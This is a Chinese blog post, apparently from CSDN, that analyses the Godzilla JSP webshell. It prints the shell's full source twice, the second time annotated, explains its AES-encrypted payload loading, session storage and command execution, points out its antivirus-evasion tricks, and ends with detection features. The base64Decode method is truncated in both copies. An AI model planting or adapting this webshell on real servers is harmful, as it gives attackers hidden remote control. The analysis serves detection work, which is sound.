哥斯拉jsp马分析

前言:

这篇文章分析了哥斯拉jsp马的特征原理,写这篇文章的初衷在提高对哥斯拉马的识别、改造能力。
笔者接触安全的时间较短,难免会有疏漏,恳请发现问题的大佬给予指正。

哥斯拉PHP马解析可以看这篇文章:
https://blog.csdn.net/zeros__/article/details/111521314

正文:

贴一下哥斯拉的jsp马:

 <  % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { 
    public X(ClassLoader z) { 
        super(z);	
    }
    public Class Q(byte[]cb) { 
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[]x(byte[]s, boolean m) { 
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 
        return c.doFinal(s); 
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) { 
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[]bs)throws Exception { 
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
            byte[].class
        }).invoke(Encoder, new Object[]{
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String)Encoder.getClass().getMethod("encode", new Class[]{
                byte[].class
            }).invoke(Encoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[]base64Decode(String bs)throws Exception { 
    Class base64; 
    byte[]value = null;
    try {
        base64 = Class.forName("java.util.Base64");
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
                String.class
            }).invoke(decoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
 %  >  <  % try {  
    byte[]data = base64Decode(request.getParameter(pass)); 
    data = x(data, false); 
    if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); 
    } else {
        request.setAttribute("parameters", new String(data)); 
        Object f = ((Class)session.getAttribute("payload")).newInstance();
        f.equals(pageContext);
        response.getWriter().write(md5.substring(0, 16));
        response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
        response.getWriter().write(md5.substring(16));
    }
} catch (Exception e) {}
%  >

分析下每个方法的作用,每个方法的作用可以看备注:

 <  % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { //继承ClassLoader类(继承类构造器)
    public X(ClassLoader z) { 
        super(z);	//调用ClassLoader的构造函数
    }
    public Class Q(byte[]cb) { 
        return super.defineClass(cb, 0, cb.length);// 把字节码转化为Class
    }
}
public byte[]x(byte[]s, boolean m) { //对指定字符串进行AES加解密
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); //获取AES加密器
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //指定加密器密钥,进行加解密
        return c.doFinal(s);  //返回加密后的字符串
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) { //某单向加密算法,根据某字符串返回唯一值
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[]bs)throws Exception { //base64加密
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
            byte[].class
        }).invoke(Encoder, new Object[]{
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String)Encoder.getClass().getMethod("encode", new Class[]{
                byte[].class
            }).invoke(Encoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[]base64Decode(String bs)throws Exception { //base64解密
    Class base64; 
    byte[]value = null;
    try {
        base64 = Class.forName("java.util.Base64");
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
                String.class
            }).invoke(decoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
 %  >  <  % try {  
    byte[]data = base64Decode(request.getParameter(pass)); //监听传参并解密
    data = x(data, false); //解密荷载,远控命令
    if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //将攻击荷载保存到session中
    } else {
        request.setAttribute("parameters", new String(data)); //将解密后远控命令转发给自己,储存在pageContext中(免杀1)
        Object f = ((Class)session.getAttribute("payload")).newInstance();//将攻击荷载创建成class 
        f.equals(pageContext);//执行远控命令(免杀2)
        response.getWriter().write(md5.substring(0, 16));//对传入的字符串加密后取前16位,输出在回显前(二次加密),其余的加在回显后面
        response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));//通过f的toString()方法获取远控命令执行后的返回值,加密后输出给哥斯拉服务端
        response.getWriter().write(md5.substring(16));
    }
} catch (Exception e) {}
%  >

接下来是分析过程:

木马一开始的class X是一个类构造器,用于将字符串格式的攻击荷载创建成类。

定义的x()方法用于AES加解密(划重点,带AES的木马不一定是冰蝎还有可能是哥斯拉)。

md5()用来根据指定字符串,生成加密后的字符串,生成后的字符串是无法解密的。在木马起到的功能是通过加密的方式完成服务端校验,以及对返回值的二次加密。

base64Encode()和base64Decode()两个方法本别用来进行base64加解密。


一行一行看存储、利用攻击荷载的部分:

 byte[]data = base64Decode(request.getParameter(pass));

通过request.getParameter()方法监听通过http协议提交过来的数据,取出名为pass的变量(即该哥斯拉马对应的密码)的值,通过base64解密后存储到data中。

data = x(data, false);

二次解密攻击荷载/远控命令

  if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //将攻击荷载保存到session中

如果session中应该保存攻击荷载的地方现在是空的,存储传入的字符串到session中(储存攻击荷载)。

request.setAttribute("parameters", new String(data));

通过request.setAttribute()方法转发解密后的请求给自己。之后执行远控代码时会使用重新接收的请求。这一步从代码层面上应该没有什么特殊意义,但是可以起到免杀的作用。

 Object f = ((Class)session.getAttribute("payload")).newInstance();//将攻击荷载创建成class 

从session中取出攻击荷载,用之前定义的类构造器X方法将字符串格式的攻击荷载转化成字符串格式。

 f.equals(pageContext);

通过攻击荷载执行远控命令。

response.getWriter().write(md5.substring(0, 16));

通过自定义的MD5()方法加密传入的远控命令,取前16位放在返回值前面。这是因为返回值经过了bash64加密,所以可以通过在其前后都添加字符串的形式进行二次加密。如果不知道前后添加了多少字符串,就无法进行解密。

response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)))

通过f的toString()方法获取远控命令执行后的返回值,加密后输出给哥斯拉服务端

response.getWriter().write(md5.substring(16));

取上上行加密后剩下的部分,放在返回值的后面(二次加密)。

} catch (Exception e) {}

以上代码执行时忽略异常,执行失败不告警。


总结一下jsp哥斯拉的一些特征。
1)会调用javax.crypto.Cipher.getInstance()进行AES加密。加密时使用的盐值是固定好的。
2)可能会定义某单向加密算法,也可能直接使用MD5()或冰蝎加密。
3)攻击荷载存储在session中,会有一个向session存储荷载的步骤
4)会通过攻击荷载中的equals命令执行远控命令。
5)会在返回值前插入一个16位长的字符串。插入的字符串和传入的参数有关。
6)通过攻击荷载中的toString()获取执行结果。

以上几点涉及到了服务端的运行逻辑、应该在改造、变形木马时很难隐藏。

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值